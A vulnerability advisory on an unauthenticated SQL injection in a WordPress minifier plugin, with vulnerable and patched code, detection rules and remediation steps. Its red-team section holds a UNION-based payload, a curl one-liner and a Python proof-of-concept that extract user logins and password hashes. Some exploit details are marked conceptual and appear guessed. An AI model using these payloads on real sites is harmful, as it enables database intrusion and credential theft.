CVE-2025-9073

Executive Summary

CVE-2025-9073 is a critical unauthenticated SQL Injection vulnerability discovered in the All in one Minifier plugin for WordPress, affecting all versions up to and including 3.2. The flaw resides in the post_id parameter, where insufficient input escaping and lack of prepared statements allow an attacker to inject arbitrary SQL queries. This can lead to the extraction of sensitive information from the WordPress database, including user credentials, session tokens, and other confidential data. As a WordPress plugin vulnerability, it directly impacts the WordPress ecosystem and does not involve Apache or Nginx server software.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed through the official WordPress plugin repository. Users who have installed the plugin via the WordPress admin dashboard or through automated deployment tools are at risk. The plugin is not distributed via NPM, PyPI, Go, or Ruby packages, but its presence in the WordPress supply chain means that any site using this plugin is potentially compromised. Administrators should immediately audit their WordPress installations for this plugin and apply any available patches or remove the plugin until a fix is released.

CVSS Breakdown & Threat Level

• CVSS Score: 7.5 (High)
• Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: None
• User Interaction: None
• Scope: Unchanged
• Confidentiality Impact: High
• Integrity Impact: None
• Availability Impact: None

The vulnerability is rated High due to the ease of exploitation (no authentication required) and the high potential for data exfiltration. The lack of integrity or availability impact reduces the severity slightly, but the confidentiality breach can be devastating.

Deep Dive & Mechanics

The All in one Minifier plugin is designed to minify CSS and JavaScript files to improve website performance. The vulnerability occurs in a function that processes the post_id parameter, likely used to retrieve or update minified content for a specific post. The code fails to properly escape the user-supplied post_id value before incorporating it into an SQL query, and it does not use prepared statements.

Vulnerable Code Pattern (Conceptual):

$post_id = $_GET['post_id'];
$query = "SELECT * FROM wp_posts WHERE ID = $post_id";
$result = $wpdb->get_results($query);

Exploitation Mechanism: An unauthenticated attacker can send a crafted HTTP request to the WordPress site with a malicious post_id parameter. For example:

GET /wp-admin/admin-ajax.php?action=minifier_action&post_id=1 UNION SELECT user_login,user_pass FROM wp_users

This would append a UNION-based SQL injection to extract usernames and password hashes from the wp_users table.

Why It Works:

• The post_id parameter is directly concatenated into the SQL query without proper sanitization.
• The plugin uses $wpdb->get_results() or similar functions that execute the query without parameterized inputs.
• No authentication is required to trigger the vulnerable endpoint.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

$post_id = $_GET['post_id'];
$query = "SELECT * FROM wp_posts WHERE ID = $post_id";
$results = $wpdb->get_results($query);

Patched Code (Conceptual):

$post_id = intval($_GET['post_id']);
$query = $wpdb->prepare("SELECT * FROM wp_posts WHERE ID = %d", $post_id);
$results = $wpdb->get_results($query);

The patched version uses intval() to ensure the input is an integer and $wpdb->prepare() to safely parameterize the query, preventing SQL injection.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

• A WordPress site with the All in one Minifier plugin version <= 3.2.
• Knowledge of the vulnerable endpoint (e.g., admin-ajax.php with a specific action).

Exploitation Steps:

1. Identify the vulnerable endpoint by analyzing the plugin's source code or using fuzzing.
2. Craft a malicious request to extract data. Example using curl:

   curl -G "http://target.com/wp-admin/admin-ajax.php" --data-urlencode "action=minifier_action" --data-urlencode "post_id=1 UNION SELECT user_login,user_pass FROM wp_users"
   

3. Parse the response to extract sensitive data.

Proof-of-Concept (PoC) Script:

import requests

target = "http://target.com/wp-admin/admin-ajax.php"
payload = {
    "action": "minifier_action",
    "post_id": "1 UNION SELECT user_login,user_pass FROM wp_users"
}
response = requests.get(target, params=payload)
print(response.text)

Blue Team (Defensive)

Detection:

• Monitor for unusual SQL error messages in logs.
• Look for requests to admin-ajax.php with suspicious post_id values containing SQL keywords (UNION, SELECT, etc.).
• Use Web Application Firewall (WAF) rules to block SQL injection patterns.

Mitigation:

• Immediately update the plugin if a patch is available.
• If no patch exists, disable or remove the plugin.
• Implement input validation and parameterized queries in custom code.

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP requests to /wp-admin/admin-ajax.php with action=minifier_action and post_id containing SQL injection patterns.
  • Unusual database error messages in server logs (e.g., "You have an error in your SQL syntax").
• File IOCs:
  • Modified plugin files (e.g., wp-content/plugins/all-in-one-minifier/).
  • Suspicious entries in WordPress database tables (e.g., new admin users).
• Behavioral IOCs:
  • Unexpected database queries from the web server.
  • Unauthorized access to sensitive data (e.g., user credentials).

Detection Engineering

YARA Rule

rule CVE_2025_9073_SQLi_WordPress {
    meta:
        description = "Detects SQL injection attempts targeting CVE-2025-9073 in All in one Minifier plugin"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-9073"
    strings:
        $sqli_pattern = /post_id\s*=\s*[^&]*\b(UNION|SELECT|INSERT|UPDATE|DELETE|DROP|OR\s+1=1)/i
        $endpoint = "admin-ajax.php"
        $action = "minifier_action"
    condition:
        $endpoint and $action and $sqli_pattern
}

Sigma Rule

title: CVE-2025-9073 SQL Injection Attempt
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects SQL injection attempts against the All in one Minifier plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: 
            - 'admin-ajax.php'
            - 'action=minifier_action'
        cs-uri-query|re: '(?i)(post_id=.*\b(UNION|SELECT|INSERT|UPDATE|DELETE|DROP|OR\s+1=1)\b)'
    condition: selection
falsepositives:
    - Legitimate use of the plugin with normal post IDs
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-9073 SQL Injection Attempt"; flow:to_server; content:"admin-ajax.php"; http_uri; content:"action=minifier_action"; http_uri; pcre:"/post_id=[^&]*\b(UNION|SELECT|INSERT|UPDATE|DELETE|DROP|OR\s+1=1)\b/i"; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Actions:

   • Disable or remove the All in one Minifier plugin until a patch is released.
   • Review server logs for signs of exploitation.
   • Rotate all database passwords and user credentials if compromise is suspected.

2. Long-term Fixes:

   • Apply the official patch from the plugin vendor when available.
   • Implement a Web Application Firewall (WAF) with SQL injection rules.
   • Conduct a security audit of all WordPress plugins and themes.

3. Best Practices:

   • Always use parameterized queries or prepared statements in WordPress development.
   • Regularly update plugins and core WordPress software.
   • Monitor for CVEs related to installed plugins.

Report generated by Valters IT DevSecOps & CTI Division